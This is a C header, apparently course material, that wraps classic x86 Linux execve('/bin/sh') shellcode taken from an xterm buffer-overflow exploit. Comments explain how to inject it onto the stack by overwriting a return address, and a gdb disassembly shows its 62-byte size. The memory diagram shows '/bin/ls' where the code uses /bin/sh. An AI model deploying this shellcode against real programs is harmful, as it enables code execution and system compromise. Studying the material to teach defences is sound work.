/* file: execwrapper.i author: "alcuin" version: $Version$ last modified by: $Author: baker $ on: $Date: 2002/07/24 00:19:50 $ purpose: execute a program from code copied into a buffer The following assembly code was included in an example of how to exploit a buffer overflow vulnerability in the xterm program, found at "http://www.rootshell.com" and credited to "alcuin". I just added parameterized it and added the comments. --Ted Baker */ #ifndef EXECWRAPPER_I #define EXECWRAPPER_I #define EXECWRAPPER_SIZE 62 #ifndef EXEC_PROGRAM #define EXEC_PROGRAM "/bin/sh" #endif inline execwrapper (){ __asm__( "movb $0x56, %al\n\t" /* */ "l1:cmpb $0x12, %al\n\t" /* compares false the first time x*/ "je l2\n\t" /* skip the following code the second time */ "movb $0x12,%al\n\t" /* set al to indicate we have passed here once */ "call l1\n\t" /* get l2 onto stack, as return address */ "l2:pop %esi\n\t" /* esi = l2 */ "xorl %eax,%eax\n\t" /* eax = 0 */ "movb $0x25, %al\n\t" /* */ "addl %eax,%esi\n\t" /* esi = l2 + 37, addr of first byte of "/bin/sh" */ "movl %esi,%ebx\n\t" /* ebx = 1st (pathname) argument */ "movl %esi,%edi\n\t" /* */ "movb $8,%al\n\t" /* */ "addl %eax,%edi\n\t" /* edi = esi + 8, addr of byte following "/bin/sh" */ "movb $5,%al\n\t" /* */ "addl %eax,%esi\n\t" /* esi = esi + 5 */ "movl %esi,(%edi)\n\t" /* store pointer to string "sh" */ "movl %edi,%ecx\n\t" /* ecx = argv */ "incl %edi\n\t" /* */ "incl %edi\n\t" /* */ "incl %edi\n\t" /* */ "incl %edi\n\t" /* edi = edi + 4 */ "xorb %al,%al\n\t" /* eax = 0, relying eah = 0 already */ "movl %eax,(%edi)\n\t" /* store null pointer at end of list */ "movl %edi,%edx\n\t" /* edx = envp (a null list) */ "movb $0xb,%al\n\t" /* 0xb = 11 = sys_execve, in linux/arch/i386/kernel/entry.S */ "int $0x80\n\t" /* system call trap instruction*/ ".string \"" EXEC_PROGRAM "\"\n" /* pathname argument */ ); } /* The intended usage of the above is to copy the code into a buffer, on the runtime stack, and then write the address of the entrypoint to this code (now in the buffer) into the return address location on the stack. When the active subprogram returns, instead of returning to the place from which it was called, it jumps into the copy of the above code. Executing the code has the effect of first setting up the parameters to an exec() call, as follows: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+--- | / b i n / l s 0 | (address) |1 0 0 0 0 | +---+---+---+---+---+---+---+---+-|-+---|---+---+---+---+---+---+---+ ^ ^ ^ | | |<----------|<----+ pathname argv envp ebx ecx edx It then does a trap instruction ("int 0x80") to ask the system to execute the given shell program. In order to write code like this you need to either know the machine code intimately, or have the benefit of a debugger (like gdb, the Gnu debugger) that supports machine-code debugging. The following output from gdb shows how the above code is assembled into memory: (gdb) disassem execwrapper Dump of assembler code for function execwrapper: 0x80484c0 : push %ebp 0x80484c1 : mov %esp,%ebp 0x80484c3 : mov $0x56,%al 0x80484c5 : cmp $0x12,%al 0x80484c7 : je 0x80484d0 0x80484c9 : mov $0x12,%al 0x80484cb : call 0x80484c5 0x80484d0 : pop %esi 0x80484d1 : xor %eax,%eax 0x80484d3 : mov $0x25,%al 0x80484d5 : add %eax,%esi 0x80484d7 : mov %esi,%ebx 0x80484d9 : mov %esi,%edi 0x80484db : mov $0x8,%al 0x80484dd : add %eax,%edi 0x80484df : mov $0x5,%al 0x80484e1 : add %eax,%esi 0x80484e3 : mov %esi,(%edi) 0x80484e5 : mov %edi,%ecx 0x80484e7 : inc %edi 0x80484e8 : inc %edi 0x80484e9 : inc %edi 0x80484ea : inc %edi 0x80484eb : xor %al,%al 0x80484ed : mov %eax,(%edi) 0x80484ef : mov %edi,%edx 0x80484f1 : mov $0xb,%al 0x80484f3 : int $0x80 0x80484f5 : das 0x80484f6 : bound %ebp,0x6e(%ecx) 0x80484f9 : das 0x80484fa : insb (%dx),%es:(%edi) 0x80484fb : jae 0x80484fd 0x80484fd : pop %ebp 0x80484fe : ret End of assembler dump. The string data at the end of the program (everything after "int $0x80") is interpreted by the disassembler as code ("das", etc.) The offset of the string data from the label "l2" is 0x25, which is 37 in decimal. That is where we get the value "0x25" in. in "mov $0x25,%al". The total size of this code is 0x80484fe - 0x80484c0 = 0x3e, which is 62 in decimal. That is how much space we need to allow for this code when we copy it to a buffer. */ #endif